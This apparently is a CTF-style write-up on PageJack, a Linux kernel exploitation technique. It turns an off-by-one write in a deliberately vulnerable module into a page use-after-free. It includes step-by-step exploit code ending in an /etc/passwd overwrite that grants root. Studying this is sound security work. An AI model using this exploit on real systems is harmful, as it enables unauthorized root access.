In this post, I will explain PageJack, a universal and data-only exploitation technique that turns an off-by-one bug into a page UAF. Download the handouts beforehand.
Analysis
The vulnerable LKM provides two commands: CMD_ALLOC and CMD_WRITE. These commands are used to allocate and write to an object defined as follows:
#define OBJ_SIZE 0x400
struct obj { char buf[OBJ_SIZE];};Bugs
There is an obvious off-by-one bug in obj_write:
static long obj_write(char *data, size_t size) { if (obj == NULL || size > OBJ_SIZE) { return -1; } if (copy_from_user(obj->buf, data, size) != 0) { return -1; } obj->buf[size] = '\0'; return 0;}PageJack
PageJack is a technique that turns an off-by-one bug into a page UAF. It targets the array of struct pipe_buffer allocated in alloc_pipe_info:
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L815-L816struct pipe_inode_info *alloc_pipe_info(void){ struct pipe_inode_info *pipe; unsigned long pipe_bufs = PIPE_DEF_BUFFERS; ... pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT); ...}struct pipe_buffer has a pointer to a struct page as its first member:
// https://elixir.bootlin.com/linux/v6.13/source/include/linux/pipe_fs_i.h#L26-L32struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private;};Since sizeof(struct page) is 0x40 bytes and we have an off-by-one primitive, we can overwrite the pointer with a 75% probability, redirecting it to a different page. Then, by closing the pipe, we can free a page that is still in use by another pipe, thereby triggering a page UAF.
PageJack is a very powerful technique that can bypass mitigations like CONFIG_CFI_CLANG and the upcoming CONFIG_SLAB_VIRTUAL.
Exploitation
First, we allocate the victim object near struct pipe_buffer:
puts("[*] Spraying struct pipe_buffer");int pipefds[NUM_PIPE_SPRAY][2];for (int i = 0; i < NUM_PIPE_SPRAY / 2; i++) { assert(pipe(pipefds[i]) != -1);}
puts("[*] Allocating a victim object from kmalloc-1k");obj_alloc();
puts("[*] Spraying struct pipe_buffer");for (int i = NUM_PIPE_SPRAY / 2; i < NUM_PIPE_SPRAY; i++) { assert(pipe(pipefds[i]) != -1);}Next, we write values to the allocated pipes. This step is necessary later on to identify the victim pipe:
puts("[*] Writting to pipes to allocate pages");for (int i = 0; i < NUM_PIPE_SPRAY; i++) { int val = 0xcafebabe + i; assert(write(pipefds[i][1], &val, sizeof(val)) != -1); assert(write(pipefds[i][1], "deadbeef", 8) != -1);}There are two reasons why we additionally write "deadbeef". First, writing more than 4 bytes prevents the page from being freed when we later read 4 bytes. If we write only 4 bytes, the page will be freed in pipe_read:
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L343-L344static ssize_tpipe_read(struct kiocb *iocb, struct iov_iter *to){ ... if (!buf->len) tail = pipe_update_tail(pipe, buf, tail);The second reason is to overwrite the f_mode member of struct file in the final step. Since pipe_write writes from offset + len, and the offset of the f_mode member is 0xc, we adjust the write position:
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L477-L485static ssize_tpipe_write(struct kiocb *iocb, struct iov_iter *from){ ... int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { ret = pipe_buf_confirm(pipe, buf); if (ret) goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
Next, we perform the off-by-one write:
puts("[*] Overwitting pipe->bufs[0].page");char zero[0x400] = {};obj_write(zero, 0x400);Next, we identify the victim pipe by reading from the pipe and checking if the value differs from the one we wrote:
puts("[*] Locating the victim pipe");int victim_pipefd = -1;int origin_pipefd = -1;for (int i = 0; i < NUM_PIPE_SPRAY; i++) { int val;
assert(read(pipefds[i][0], &val, 4) != -1); if (val != 0xcafebabe + i) { victim_pipefd = i; origin_pipefd = val - 0xcafebabe; printf("[+] Found: victim_pipefd = %d, origin_pipefd = %d\n", victim_pipefd, origin_pipefd); break; }}if (victim_pipefd == -1) { puts("[-] Failed to locate the victim pipe"); exit(0);}Next, we close one of the pipes that shares the same pointer to the page:
puts("[*] Closing the original pipe");assert(close(pipefds[origin_pipefd][0]) != -1);assert(close(pipefds[origin_pipefd][1]) != -1);Next, we spray struct file objects for /etc/passwd to make the freed page be used as a filp slab:
puts("[*] Spraying struct file of /etc/passwd");int filefds[NUM_SPRAY_FILE];for (int i = 0; i < NUM_SPRAY_FILE; i++) { filefds[i]= open("/etc/passwd", O_RDONLY); assert(filefds[i] != -1);}Finally, we use the victim pipe to overwrite the f_mode member, making /etc/passwd writable, and then overwrite it (j9ep0CjBGivAnD5z6l5rr0 is MD5-encoded password with salt deadbeef)
puts("[*] Overwitting f_mode");int fake_f_mode = 0x84f801f;assert(write(pipefds[victim_pipefd][1], &fake_f_mode, 4) != -1);
char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/sh\n";printf("[*] Overwriting /etc/passwd with %s", payload);for (int i = 0; i < NUM_SPRAY_FILE; i++) { if (write(filefds[i], payload, sizeof(payload)) != -1) { puts("[+] Success"); puts("[+] You can now log in as root with the password: cafebabe"); char *argv[] = {"/bin/sh", NULL}; execve(argv[0], argv, NULL); }}By running this exploit, we can log in as a root user and see the flag:

References
- Zhiyun Qian, Jiayi Hu, Jinmeng Zhou, Qi Tang and Wenbo Shen. 2024. PageJack: A Powerful Exploit Technique With Page-Level UAF. https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf
- arttnba3. 2023. 【CTF.0x08】D^ 3CTF2023 d3kcache: From null-byte cross-cache overflow to infinite arbitrary read & write. https://blog.arttnba3.cn/2023/05/02/CTF-0X08_D3CTF2023_D3KCACHE/